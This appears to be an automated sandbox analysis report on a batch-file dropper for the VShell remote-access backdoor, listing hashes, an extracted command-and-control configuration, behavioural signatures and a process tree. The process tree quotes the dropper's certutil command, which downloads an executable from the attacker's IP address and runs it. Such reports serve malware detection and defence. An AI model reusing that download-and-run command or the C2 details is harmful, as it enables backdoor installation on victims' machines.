vshell | dc361ce3aa89b411bc3661d9a191e55d7f912635d35a825c5a5304021998d49d

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 17:13

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General

Target
jaffacakes118_dc361ce3aa89b411bc3661d9a191e55d7f912635d35a825c5a5304021998d49d.bat
Size 512B
Sample260910-vrracaem7t
SHA256 dc361ce3aa89b411bc3661d9a191e55d7f912635d35a825c5a5304021998d49d
MD5 3f8932bceae17a27a79cd2825ea7b0dc
SHA1 3fb602e359e87815a20743624d3c0fce1f8d3188
SHA512 a1f43e9903eeb98eff9244b65085457beab7ad0d7597e2f7add0917682fc5df1790a14bda4cf950c44bad49c93999b8ae1e1193fa299ba83f8a65c602d1f2118
TLSH
T118F09ECD18324EBD0FC9C873F4546186B00AA0CDCAA1A5D81B9125DE9D490D932EBBD3
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

107.173.101.114

Attributes

port
10000
salt
qwWVRFS
type
tcp
vkey
qwwrvd

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral2/memory/4488-7-0x0000000067700000-0x0000000067ED4000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
2	3244	certutil.exe
1	3244	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
4488	fdb35096tcp.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5960	cmd.exe
4924	cmd.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5388	WMIC.exe
5388	WMIC.exe
5388	WMIC.exe
5388	WMIC.exe
4488	fdb35096tcp.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5388	WMIC.exe
Token: SeSecurityPrivilege	5388	WMIC.exe
Token: SeTakeOwnershipPrivilege	5388	WMIC.exe
Token: SeLoadDriverPrivilege	5388	WMIC.exe
Token: SeSystemProfilePrivilege	5388	WMIC.exe
Token: SeSystemtimePrivilege	5388	WMIC.exe
Token: SeProfSingleProcessPrivilege	5388	WMIC.exe
Token: SeIncBasePriorityPrivilege	5388	WMIC.exe
Token: SeCreatePagefilePrivilege	5388	WMIC.exe
Token: SeBackupPrivilege	5388	WMIC.exe
Token: SeRestorePrivilege	5388	WMIC.exe
Token: SeShutdownPrivilege	5388	WMIC.exe
Token: SeDebugPrivilege	5388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5388	WMIC.exe
Token: SeRemoteShutdownPrivilege	5388	WMIC.exe
Token: SeUndockPrivilege	5388	WMIC.exe
Token: SeManageVolumePrivilege	5388	WMIC.exe
Token: 33	5388	WMIC.exe
Token: 34	5388	WMIC.exe
Token: 35	5388	WMIC.exe
Token: 36	5388	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5388	WMIC.exe
Token: SeSecurityPrivilege	5388	WMIC.exe
Token: SeTakeOwnershipPrivilege	5388	WMIC.exe
Token: SeLoadDriverPrivilege	5388	WMIC.exe
Token: SeSystemProfilePrivilege	5388	WMIC.exe
Token: SeSystemtimePrivilege	5388	WMIC.exe
Token: SeProfSingleProcessPrivilege	5388	WMIC.exe
Token: SeIncBasePriorityPrivilege	5388	WMIC.exe
Token: SeCreatePagefilePrivilege	5388	WMIC.exe
Token: SeBackupPrivilege	5388	WMIC.exe
Token: SeRestorePrivilege	5388	WMIC.exe
Token: SeShutdownPrivilege	5388	WMIC.exe
Token: SeDebugPrivilege	5388	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5388	WMIC.exe
Token: SeRemoteShutdownPrivilege	5388	WMIC.exe
Token: SeUndockPrivilege	5388	WMIC.exe
Token: SeManageVolumePrivilege	5388	WMIC.exe
Token: 33	5388	WMIC.exe
Token: 34	5388	WMIC.exe
Token: 35	5388	WMIC.exe
Token: 36	5388	WMIC.exe
Token: SeDebugPrivilege	4488	fdb35096tcp.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5960 wrote to memory of 4924	5960	cmd.exe	90
PID 4924 wrote to memory of 5388	4924	cmd.exe	91
PID 4924 wrote to memory of 5896	4924	cmd.exe	92
PID 5960 wrote to memory of 3244	5960	cmd.exe	94
PID 5960 wrote to memory of 4488	5960	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_dc361ce3aa89b411bc3661d9a191e55d7f912635d35a825c5a5304021998d49d.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5388
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:5896
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\fdb35096tcp.exe"
  2⤵
  - Downloads MZ/PE file
  PID:3244
- C:\Users\Public\fdb35096tcp.exe
  "C:\Users\Public\fdb35096tcp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2384

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

fdb35096tcp.exe

Path C:\Users\Public\fdb35096tcp.exe
Size 3KB
SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
MD5 6a1c343bec9f0ae29f493a0a93206542
SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
TLSH
T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4488-7-0x0000000067700000-0x0000000067ED4000-memory.dmp

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